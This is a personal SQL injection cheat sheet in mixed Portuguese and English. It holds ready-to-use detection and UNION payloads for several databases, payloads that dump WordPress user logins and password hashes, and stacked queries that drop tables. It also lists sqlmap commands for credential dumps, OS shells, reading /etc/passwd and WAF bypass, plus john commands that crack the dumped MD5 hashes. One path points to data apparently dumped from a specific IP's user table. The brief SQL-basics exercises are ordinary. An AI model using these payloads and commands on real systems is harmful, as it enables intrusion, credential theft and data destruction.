SQL Injection
Checklist
1 - Detectar (Feito) 2 - Com base no payload de detecção, verificar quantas colunas estão consideradas na query com "order by 1" ou "union select 1,2,3,..." 3 - Identificar qual dos parâmetros que corresponde ao número da coluna está vulnerável (com payloads union) 4 - Enumerar o versão do banco de dados 5 - Enumerar as tabelas do banco de dados no objetivo de obter alguma credencial ( Obter tabela de usuários) 6 - Trazer as informações a respeito das colunas da tabela de usuários 7 - Crakear os hashes de senhas 8 - Temos também a oportunidade de tentar executar comandos na máquina a partir do próprio banco de dados, caso o usuário tenha permissão pra isso
fontes
https://www.sqlinjection.net/stacked-queries/
https://portswigger.net/web-security/sql-injection
Detection
Primeiro passo é a identificação da vulnerabilidade
3 tipos de identificação
Numérico
Payloads
1 + 1 #Se responder da mesma forma como se informasse 2 no payload, possivelmente vulnerável
MySQL (string concat and logical ops)
1 sleep(10)
1 and sleep(10)
1 && sleep(10)
PostgreSQL (only support string concat)
1 pg_sleep(10)
MSQL
1 WAITFOR DELAY '0:0:10'
Oracle
1 AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1 AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1 AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1 AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
String
Payloads:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
"' or 1=1--
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Próprio comando SQL (order by clauses...)
Nesse caso basta informar um comando SQL válido para identificação da vulnerabilidade
Payloads:
1 ASC --
1 DESC --
The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.
SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:
- Submitting the single quote character ' and looking for errors or other anomalies.
- Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
- Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's responses. Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.
- Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.
Observações
- O banco de dados Oracle não aceita uma query sql sem o "from", para isso podemos utilizar a tabela "DUAL"
- O banco de dados MySql não aceita union antes das instruções "order by" e "limit"
- O banco de dados do SQL Server não suporta stacked queries
Enumeration
Segundo passo é fazer a enumeração do banco de dados e enumerar as colunas do banco de dados:
Versão do banco de dados
Error based
Nesse cenário, geralmente o banco de dados já retorna seu nome e versão
Blind
Payloads
Oracle SELECT banner FROM v$version SELECT version FROM v$instance Microsoft SELECT @@version PostgreSQL SELECT version() MySQL SELECT @@version version()
Databases enumeration
Saber qual a base que estamos utilizando no momento.
sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex --dbs
Número de colunas
Saber o número de colunas.
order by 1
order by 2
order by 3
.
.
.
order by 15 # and so on
ou
union select 1 from dual--
union select 1,2 from dual--
...
union select 1,2,3,4,5,6,7,8,9 from dual--
and so on
Enumeração de usuários
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11 FROM wp_users#"]
Saber qual usuário que estamos logados no banco de dados:
mysql/mariadb
current_user()
Oracle
union select null,user,null from dual--
Enumeração de Tabelas
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11 FROM information_schema.tables#"]
sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --tables
Mssql
' union select 1,table_name,3,4,5,6 from information_schema.tables--
Dump de colunas de usuários
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns WHERE table_name='wp_users'#"]
sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex -T users --dump
Verificar privilégios do usuário
sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex --privileges
Dump das senhas dos usuários
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11 FROM wp_users#"]
Conceitos SQL
- DML
- DDL
- DCL
SQL
First exercise Construir uma query que vá trazer o resultado departamento da pessoa Bob Franco
SELECT department from employees where first_name = 'Bob' and last_name = 'Franco';
DML (Data manipulation language)
- Data manipulation language : Utilizada para inserir, alterar, obter e deletar dados do banco de dados
- SELECT
- UPDATE
- DELETE
- INSERT
UPDATE syntax:
update tablename set column_name 'value' where column = 'value';
update employees set department = 'Sales' where first_name = 'Tobi' and last_name = 'Barnett';
Group by is defined to fetch the data that is the same for the column specified
Having on top of group by to match a certain conditions
Order by sort by some columns
DDL (Data definition language)
- Data definition language: Change database structure creating, removing and altering table structures
- CREATE
- DROP
- ALTER
alter table employees add column phone varchar(20) not null; drop table employees;
DCL (Data control language)
GRANT
GRANT SELECT TO user on 'user'@localhost;
REVOKE
================================
Injection
String based sql injection
asd ' or '1' = '1
Numeric Sqlinjection based
123 or 1 = 1
Drop accesss table
ab'%3B+drop+table+access_log%3B--+
Special caracters
/ / are inline comments -- oracle comments , in line comments # are line comments mysql (maria db)
Example:
SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
; allows query chaining
Example:
SELECT * FROM users; DROP TABLE users;
' , + , || allows string concatenation Char() strings without quotes
Example:
SELECT * FROM users WHERE name = '+char(27) OR 1=1
Union
The Union operator is used, to combine the results of two or more SELECT Statements.
Rules to keep in mind, when working with a UNION:
The number of columns selected in each statement must be the same.
The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …) SELECT Statement. The Same applies to all other columns.
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
The UNION ALL Syntax also allows duplicate Values.
para uma injeção de código ser altamente funcional, utilizar o Union acaba sendo a melhor solução, dado que ela proverá um único resultado para queries diferentes algo que stacked queries não funcionaria, dado que normalmente o código da aplicação espera somente um resultado e o outro, proveniente da query stacked (query empilhada, que pode ser realizada por meio do ";" finalizando a primeira query e continuando com a segunda query normalmente) seria totalmente ignorado
Exmplos:
' union select user, password from table users;--+
') union select banner from v$version;--+ /*oracle*/ '
') union select @@version;--+ /*mysql*/
Join
The Join operator is used to combine rows from two ore more tables, based on a related column
Solving the next exercise:
asd'; select * from user_system_data; -- '
t'; select first_name, last_name from user_data where first_name = 'Dave' union all select user_name, password from user_system_data where user_name = 'dave'; --
Manual
Blind sqlinjection
payload| WAITFOR DELAY '0:0:10'
BENCHMARK() or sleep(10)
Getting the version of the database:
payloads:
' and select substr(@@version,1,1)=4 --+ /*if the first caracter of the database version is 4, then the query will execute*/
Exploiting the database
-
Getting User defined Tables
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
-
Getting Column Names
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
SQLMap
source: (features) https://github.com/sqlmapproject/sqlmap/wiki/Features
SQLi GET requests
Source: https://security.stackexchange.com/questions/5869/testing-clean-urls-with-sqlmap
You should use * in your URI, creating URI injection point(s). So instead of using:
sqlmap.py -u "website.com/script/paramrewrited1/paramrewrited2"
use:
sqlmap.py -u "website.com/script/paramrewrited1*/paramrewrited2*"
SQLi in POST requests
sqlmap -r file_with_request.txt --dbs --batch --level=3 --risk=3
informing the parameters to test:
sqlmap -r req.txt -p "source,username,password" --dbs
Utilizando proxy para fins de aprendizado
sqlmap -r arq_with_request --proxy http://localhost:8080 --level 5 --risk 3 --threads 10
obs: Os parâmetros enviados via JSON são automaticamente detectados e testados
Bypassing WAF with sqlmap
Tamper with sqlmap
source: https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3q
source: https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
Tamper scripts:
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
Examples sqlmap
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hostname --tables --columns
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --dump --threads 10 --hex
sqlmap -r req.txt --level=5 --risk=3 --dbs
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --is-dba
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hosntame
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hostname --tables --columns
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --os-shell
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --sql-shell --threads 10
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --sql-shell --threads 10 --hex
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --users --threads 10 --hex -U 'app' --roles
cat /root/.sqlmap/output/173.255.254.202/dump/cadastro/usuarios.csv | cut -d, -f 4
vi hashes
john --format=raw-md5 -w /root/ownCloud/owncloud/Tools_Utilities/hacking-tools/fuzzdb/wordlists-user-passwd/unix-os/unix_passwords.txt hashes
john --format=raw-md5 -w hashkiller-dict.txt hashes
sqlmap -r req.txt --file_read=/xampp/htdocs/index.php --batch
sqlmap -r req.txt --file-read=/etc/passwd --batch
hash-identifier 6565223a5aa70f89d5f057e961eb1908
sqlmap -r req.txt --users --privilege
sqlmap -r req.txt -D cadastro --dump
sqlmap -r req.txt --sql-shell
sqlmap -r req.txt --hex --proxy=http://192.168.1.254:8080
sqlmap -r req.txt --dbms=mysql --os=linux --tables
sqlmap -r req.txt --dbms=mysql --os=linux --tables --T usuarios
sqlmap -r req.txt --dbms=mysql --os=linux --tables -T usuarios -v --dump
sqlmap -r req.txt --dbms=mysql --os=linux --users --passwords
sqlmap -r req.txt --dbms=mysql --os=linux --users --passwords --proxy=http://127.0.0.1:8080
sqlmap -r req.txt --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --comments --priv-esc
sqlmap -d "mysql://root:@10.10.10.10:3306/users" -f --banner
sqlmap -r req.txt --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --current-db --ROLES
sqlmap -r req.txt --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --current-db --roles
Dumps específicos
sqlmap -r req.txt --dbms=mysql --os=linux --tables -T usuarios -v --dump
podemos utilizar o parâmetro -C para selecionar uma coluna específica também, a qual queremos verificar os dados:
sqlmap -r req.txt --dbms=mysql --os=linux --tables -T usuarios -C password -v --dump
Leitura de arquivos no MySQL
basic syntax
select load_file('/etc/passwd')
Escrevendo arquivos via SQL Injection
basic syntax
- Mysql
select load_file('/etc/passwd') into outfile '/root/teste_sqli2.txt'; select vuln_id from vuln_details_table into outfile 'root/teste_sqli3.txt';
Primeiro tente:
1'; select load_file('/etc/passwd') in outfile '/home/osboxes/teste.txt'; --+ /* the 'in' directive is not correct */
1'; select load_file('/etc/passwd') into outfile '/home/osboxes/teste.txt'; --+
1' and select table_name, column_name, null from information_schema.columns;--+